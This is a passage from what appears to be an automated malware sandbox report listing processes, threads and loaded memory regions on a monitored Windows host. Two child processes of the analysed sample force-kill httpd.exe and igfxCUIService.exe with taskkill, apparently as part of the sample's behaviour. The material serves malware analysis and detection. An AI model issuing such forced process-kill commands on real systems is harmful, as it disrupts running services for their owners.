"\\Windows\\SysWOW64\\wbem\\fastprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\fastprox.dll") Thread: id = 181 os_tid = 0x840 Thread: id = 182 os_tid = 0x13c Thread: id = 183 os_tid = 0x130 Thread: id = 184 os_tid = 0x674 Thread: id = 185 os_tid = 0x688 Process: id = "21" image_name = "taskkill.exe" filename = "c:\\windows\\syswow64\\taskkill.exe" page_root = "0x5a864000" os_pid = "0x114" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "10" os_parent_pid = "0xbb0" cmd_line = "TASKKILL /F /IM httpd.exe /IM httpd.exe " cur_dir = "C:\\Users\\kFT6uTQW\\Desktop\\" os_username = "XABNCPUWKW\\kFT6uTQW" os_groups = "XABNCPUWKW\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e8ae" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2856 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2857 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 2858 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2859 start_va = 0x50000 end_va = 0x8ffff entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 2860 start_va = 0x90000 end_va = 0x93fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 2861 start_va = 0xa0000 end_va = 0xa0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000a0000" filename = "" Region: id = 2862 start_va = 0x190000 end_va = 0x1cffff entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 2863 start_va = 0x9f0000 end_va = 0xa05fff entry_point = 0x9f5c89 region_type = mapped_file name = "taskkill.exe" filename = "\\Windows\\SysWOW64\\taskkill.exe" (normalized: "c:\\windows\\syswow64\\taskkill.exe") Region: id = 2864 start_va = 0x776c0000 end_va = 0x77868fff entry_point = 0x776c0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2865 start_va = 0x778a0000 end_va = 0x77a1ffff entry_point = 0x778a0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 2866 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 2867 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 2868 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 2869 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 2870 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2871 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2872 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 2873 start_va = 0x240000 end_va = 0x2bffff entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 2874 start_va = 0x73fd0000 end_va = 0x73fd7fff entry_point = 0x73fd20f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 2875 start_va = 0x73fe0000 end_va = 0x7403bfff entry_point = 0x7401f798 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 2876 start_va = 0x74040000 end_va = 0x7407efff entry_point = 0x7406de78 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 2877 start_va = 0x774a0000 end_va = 0x77599fff entry_point = 0x0 region_type = private name = "private_0x00000000774a0000" filename = "" Region: id = 2878 start_va = 0x775a0000 end_va = 0x776befff entry_point = 0x0 region_type = private name = "private_0x00000000775a0000" filename = "" Region: id = 2879 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2880 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 2881 start_va = 0xb0000 end_va = 0x116fff entry_point = 0xb0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2882 start_va = 0x330000 end_va = 0x42ffff entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 2883 start_va = 0x540000 end_va = 0x54ffff entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2884 start_va = 0x6a7b0000 end_va = 0x6a89afff entry_point = 0x6a7b13ce region_type = mapped_file name = "dbghelp.dll" filename = "\\Windows\\SysWOW64\\dbghelp.dll" (normalized: "c:\\windows\\syswow64\\dbghelp.dll") Region: id = 2885 start_va = 0x6a990000 end_va = 0x6a9c4fff entry_point = 0x6a9913d5 region_type = mapped_file name = "framedynos.dll" filename = "\\Windows\\SysWOW64\\framedynos.dll" (normalized: "c:\\windows\\syswow64\\framedynos.dll") Region: id = 2886 start_va = 0x6a9d0000 end_va = 0x6a9defff entry_point = 0x6a9d12a1 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\SysWOW64\\wkscli.dll" (normalized: "c:\\windows\\syswow64\\wkscli.dll") Region: id = 2887 start_va = 0x6a9e0000 end_va = 0x6a9f0fff entry_point = 0x6a9e1300 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\SysWOW64\\netapi32.dll" (normalized: "c:\\windows\\syswow64\\netapi32.dll") Region: id = 2888 start_va = 0x6aa00000 end_va = 0x6aa0cfff entry_point = 0x6aa011e0 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\SysWOW64\\wtsapi32.dll" (normalized: "c:\\windows\\syswow64\\wtsapi32.dll") Region: id = 2889 start_va = 0x73ba0000 end_va = 0x73bb1fff entry_point = 0x73ba1200 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\SysWOW64\\mpr.dll" (normalized: "c:\\windows\\syswow64\\mpr.dll") Region: id = 2890 start_va = 0x73e30000 end_va = 0x73e38fff entry_point = 0x73e315a6 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\SysWOW64\\netutils.dll" (normalized: "c:\\windows\\syswow64\\netutils.dll") Region: id = 2891 start_va = 0x74080000 end_va = 0x74087fff entry_point = 0x740810e9 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\SysWOW64\\secur32.dll" (normalized: "c:\\windows\\syswow64\\secur32.dll") Region: id = 2892 start_va = 0x74b50000 end_va = 0x74b58fff entry_point = 0x74b51220 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 2893 start_va = 0x75330000 end_va = 0x75348fff entry_point = 0x75331319 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\SysWOW64\\srvcli.dll" (normalized: "c:\\windows\\syswow64\\srvcli.dll") Region: id = 2894 start_va = 0x753f0000 end_va = 0x753fbfff entry_point = 0x753f10e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 2895 start_va = 0x75400000 end_va = 0x7545ffff entry_point = 0x7541a3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 2896 start_va = 0x755a0000 end_va = 0x7564bfff entry_point = 0x755aa472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 2897 start_va = 0x763f0000 end_va = 0x7648ffff entry_point = 0x764049e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 2898 start_va = 0x76520000 end_va = 0x7662ffff entry_point = 0x765332d3 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 2899 start_va = 0x76690000 end_va = 0x7677ffff entry_point = 0x766a0569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 2900 start_va = 0x76780000 end_va = 0x767d6fff entry_point = 0x76799ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 2901 start_va = 0x76910000 end_va = 0x7699efff entry_point = 0x76913fb1 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 2902 start_va = 0x769a0000 end_va = 0x769b8fff entry_point = 0x769a4975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 2903 start_va = 0x76c80000 end_va = 0x76c85fff entry_point = 0x76c81782 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 2904 start_va = 0x76c90000 end_va = 0x76d2cfff entry_point = 0x76cc3fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 2905 start_va = 0x76d30000 end_va = 0x76e8bfff entry_point = 0x76d7ba3d region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 2906 start_va = 0x76ea0000 end_va = 0x76ea9fff entry_point = 0x76ea36a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 2907 start_va = 0x77130000 end_va = 0x77164fff entry_point = 0x7713145d region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 2908 start_va = 0x772c0000 end_va = 0x77305fff entry_point = 0x772c7478 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 2909 start_va = 0x77310000 end_va = 0x7740ffff entry_point = 0x7732b6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 2910 start_va = 0x77410000 end_va = 0x7749ffff entry_point = 0x77426343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 2911 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2912 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2913 start_va = 0x550000 end_va = 0x6d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000550000" filename = "" Region: id = 2914 start_va = 0x767e0000 end_va = 0x7683ffff entry_point = 0x767f158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 2915 start_va = 0x771f0000 end_va = 0x772bbfff entry_point = 0x771f168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 2916 start_va = 0x30000 end_va = 0x36fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2917 start_va = 0x120000 end_va = 0x121fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 2918 start_va = 0x130000 end_va = 0x133fff entry_point = 0x130000 region_type = mapped_file name = "taskkill.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\taskkill.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\taskkill.exe.mui") Region: id = 2919 start_va = 0x140000 end_va = 0x140fff entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 2920 start_va = 0x150000 end_va = 0x150fff entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 2921 start_va = 0x160000 end_va = 0x160fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000160000" filename = "" Region: id = 2922 start_va = 0x480000 end_va = 0x4bffff entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 2923 start_va = 0x6e0000 end_va = 0x860fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 2924 start_va = 0x870000 end_va = 0x92ffff entry_point = 0x870000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui") Region: id = 2925 start_va = 0x980000 end_va = 0x9bffff entry_point = 0x0 region_type = private name = "private_0x0000000000980000" filename = "" Region: id = 2926 start_va = 0xa10000 end_va = 0x1e0ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a10000" filename = "" Region: id = 2927 start_va = 0x1e70000 end_va = 0x1eaffff entry_point = 0x0 region_type = private name = "private_0x0000000001e70000" filename = "" Region: id = 2928 start_va = 0x76490000 end_va = 0x76512fff entry_point = 0x764923d2 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 2929 start_va = 0x7efd8000 end_va = 0x7efdafff entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 2930 start_va = 0x170000 end_va = 0x170fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000170000" filename = "" Region: id = 2931 start_va = 0x6a920000 end_va = 0x6a97bfff entry_point = 0x6a942b48 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\SysWOW64\\wbemcomn.dll" (normalized: "c:\\windows\\syswow64\\wbemcomn.dll") Region: id = 2932 start_va = 0x6a980000 end_va = 0x6a989fff entry_point = 0x6a98149a region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemprox.dll") Region: id = 2933 start_va = 0x1f00000 end_va = 0x1f3ffff entry_point = 0x0 region_type = private name = "private_0x0000000001f00000" filename = "" Region: id = 2934 start_va = 0x1f40000 end_va = 0x203ffff entry_point = 0x0 region_type = private name = "private_0x0000000001f40000" filename = "" Region: id = 2935 start_va = 0x6a8f0000 end_va = 0x6a918fff entry_point = 0x6a8f6b19 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\SysWOW64\\winsta.dll" (normalized: "c:\\windows\\syswow64\\winsta.dll") Region: id = 2936 start_va = 0x500000 end_va = 0x53ffff entry_point = 0x0 region_type = private name = "private_0x0000000000500000" filename = "" Region: id = 2937 start_va = 0x2040000 end_va = 0x230efff entry_point = 0x2040000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2938 start_va = 0x2310000 end_va = 0x234ffff entry_point = 0x0 region_type = private name = "private_0x0000000002310000" filename = "" Region: id = 2939 start_va = 0x74460000 end_va = 0x7449afff entry_point = 0x7446128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 2940 start_va = 0x749e0000 end_va = 0x749f5fff entry_point = 0x749e2dc3 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 2941 start_va = 0x7efd5000 end_va = 0x7efd7fff entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 2942 start_va = 0x749d0000 end_va = 0x749ddfff entry_point = 0x749d1235 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\SysWOW64\\RpcRtRemote.dll" (normalized: "c:\\windows\\syswow64\\rpcrtremote.dll") Region: id = 2943 start_va = 0x940000 end_va = 0x97ffff entry_point = 0x0 region_type = private name = "private_0x0000000000940000" filename = "" Region: id = 2944 start_va = 0x2350000 end_va = 0x238ffff entry_point = 0x0 region_type = private name = "private_0x0000000002350000" filename = "" Region: id = 2945 start_va = 0x23b0000 end_va = 0x23effff entry_point = 0x0 region_type = private name = "private_0x00000000023b0000" filename = "" Region: id = 2946 start_va = 0x2420000 end_va = 0x245ffff entry_point = 0x0 region_type = private name = "private_0x0000000002420000" filename = "" Region: id = 2947 start_va = 0x6a8e0000 end_va = 0x6a8eefff entry_point = 0x6a8e21a0 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemsvc.dll") Region: id = 2948 start_va = 0x7efaa000 end_va = 0x7efacfff entry_point = 0x0 region_type = private name = "private_0x000000007efaa000" filename = "" Region: id = 2949 start_va = 0x7efad000 end_va = 0x7efaffff entry_point = 0x0 region_type = private name = "private_0x000000007efad000" filename = "" Region: id = 2950 start_va = 0x6a710000 end_va = 0x6a7a5fff entry_point = 0x6a72f8b9 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\fastprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\fastprox.dll") Region: id = 2951 start_va = 0x6a8c0000 end_va = 0x6a8d7fff entry_point = 0x6a8c1335 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\SysWOW64\\ntdsapi.dll" (normalized: "c:\\windows\\syswow64\\ntdsapi.dll") Thread: id = 186 os_tid = 0x7dc Thread: id = 187 os_tid = 0x3ec Thread: id = 188 os_tid = 0x7e0 Thread: id = 189 os_tid = 0x57c Thread: id = 190 os_tid = 0x640 Process: id = "22" image_name = "taskkill.exe" filename = "c:\\windows\\syswow64\\taskkill.exe" page_root = "0x59769000" os_pid = "0x148" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "10" os_parent_pid = "0xbb0" cmd_line = "TASKKILL /F /IM igfxCUIService.exe /IM igfxCUIService.exe " cur_dir = "C:\\Users\\kFT6uTQW\\Desktop\\" os_username = "XABNCPUWKW\\kFT6uTQW" os_groups = "XABNCPUWKW\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e8ae" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2952 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2953 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 2954 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2955 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 2956 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 2957 start_va = 0xb0000 end_va = 0xeffff entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 2958 start_va = 0x1d0000 end_va = 0x20ffff entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 2959 start_va = 0x560000 end_va = 0x575fff entry_point = 0x565c89 region_type = mapped_file name = "taskkill.exe" filename = "\\Windows\\SysWOW64\\taskkill.exe" (normalized: "c:\\windows\\syswow64\\taskkill.exe") Region: id = 2960 start_va = 0x776c0000 end_va = 0x77868fff entry_point = 0x776c0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2961 start_va = 0x778a0000 end_va = 0x77a1ffff entry_point = 0x778a0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 2962 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 2963 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 2964 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 2965 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 2966 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2967 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2968 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 2969 start_va = 0x320000 end_va = 0x39ffff entry_point = 0x0 region_type = private name = "private_0x0000000000320000" filename = "" Region: id = 2970 start_va = 0x73fd0000 end_va = 0x73fd7fff entry_point = 0x73fd20f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 2971 start_va = 0x73fe0000 end_va = 0x7403bfff entry_point = 0x7401f798 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 2972 start_va = 0x74040000 end_va = 0x7407efff entry_point = 0x7406de78 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 2973 start_va = 0x774a0000 end_va = 0x77599fff entry_point = 0x0 region_type = private name = "private_0x00000000774a0000" filename = "" Region: id = 2974 start_va = 0x775a0000 end_va = 0x776befff entry_point = 0x0 region_type = private name = "private_0x00000000775a0000" filename = "" Region: id = 2975 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2976 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 2977 start_va = 0xf0000 end_va = 0x156fff entry_point = 0xf0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2978 start_va = 0x4e0000 end_va = 0x4effff entry_point = 0x0 region_type = private name = "private_0x00000000004e0000" filename = "" Region: id = 2979 start_va = 0x690000 end_va = 0x78ffff entry_point = 0x0 region_type = private name = "private_0x0000000000690000" filename = "" Region: id = 2980 start_va = 0x6a8a0000 end_va = 0x6a98afff entry_point = 0x6a8a13ce region_type = mapped_file name = "dbghelp.dll" filename = "\\Windows\\SysWOW64\\dbghelp.dll" (normalized: "c:\\windows\\syswow64\\dbghelp.dll") Region: id = 2981 start_va = 0x6a990000 end_va = 0x6a99efff entry_point = 0x6a9912a1 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\SysWOW64\\wkscli.dll" (normalized: "c:\\windows\\syswow64\\wkscli.dll") Region: id = 2982 start_va = 0x6a9a0000 end_va = 0x6a9a8fff entry_point = 0x6a9a15a6 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\SysWOW64\\netutils.dll" (normalized: "c:\\windows\\syswow64\\netutils.dll") Region: id = 2983 start_va = 0x6a9b0000 end_va = 0x6a9c0fff entry_point = 0x6a9b1300 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\SysWOW64\\netapi32.dll" (normalized: "c:\\windows\\syswow64\\netapi32.dll") Region: id = 2984 start_va = 0x6a9d0000 end_va = 0x6aa04fff entry_point = 0x6a9d13d5 region_type = mapped_file name = "framedynos.dll" filename = "\\Windows\\SysWOW64\\framedynos.dll" (normalized: "c:\\windows\\syswow64\\framedynos.dll") Region: id = 2985 start_va = 0x73ba0000 end_va = 0x73bb1fff entry_point = 0x73ba1200 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\SysWOW64\\mpr.dll" (normalized: "c:\\windows\\syswow64\\mpr.dll") Region: id = 2986 start_va = 0x73e30000 end_va = 0x73e3cfff entry_point = 0x73e311e0 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\SysWOW64\\wtsapi32.dll" (normalized: "c:\\windows\\syswow64\\wtsapi32.dll") Region: id = 2987 start_va = 0x74080000 end_va = 0x74087fff entry_point = 0x740810e9 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\SysWOW64\\secur32.dll" (normalized: "c:\\windows\\syswow64\\secur32.dll") Region: id = 2988 start_va = 0x74b50000 end_va = 0x74b58fff entry_point = 0x74b51220 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 2989 start_va = 0x75330000 end_va = 0x75348fff entry_point = 0x75331319 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\SysWOW64\\srvcli.dll" (normalized: "c:\\windows\\syswow64\\srvcli.dll") Region: id = 2990 start_va = 0x753f0000 end_va = 0x753fbfff entry_point = 0x753f10e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 2991 start_va = 0x75400000 end_va = 0x7545ffff entry_point = 0x7541a3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 2992 start_va = 0x755a0000 end_va = 0x7564bfff entry_point = 0x755aa472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 2993 start_va = 0x763f0000 end_va = 0x7648ffff entry_point = 0x764049e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 2994 start_va = 0x76520000 end_va = 0x7662ffff entry_point = 0x765332d3 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 2995 start_va = 0x76690000 end_va = 0x7677ffff entry_point = 0x766a0569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 2996 start_va = 0x76780000 end_va = 0x767d6fff entry_point = 0x76799ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 2997 start_va = 0x76910000 end_va = 0x7699efff entry_point = 0x76913fb1 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 2998 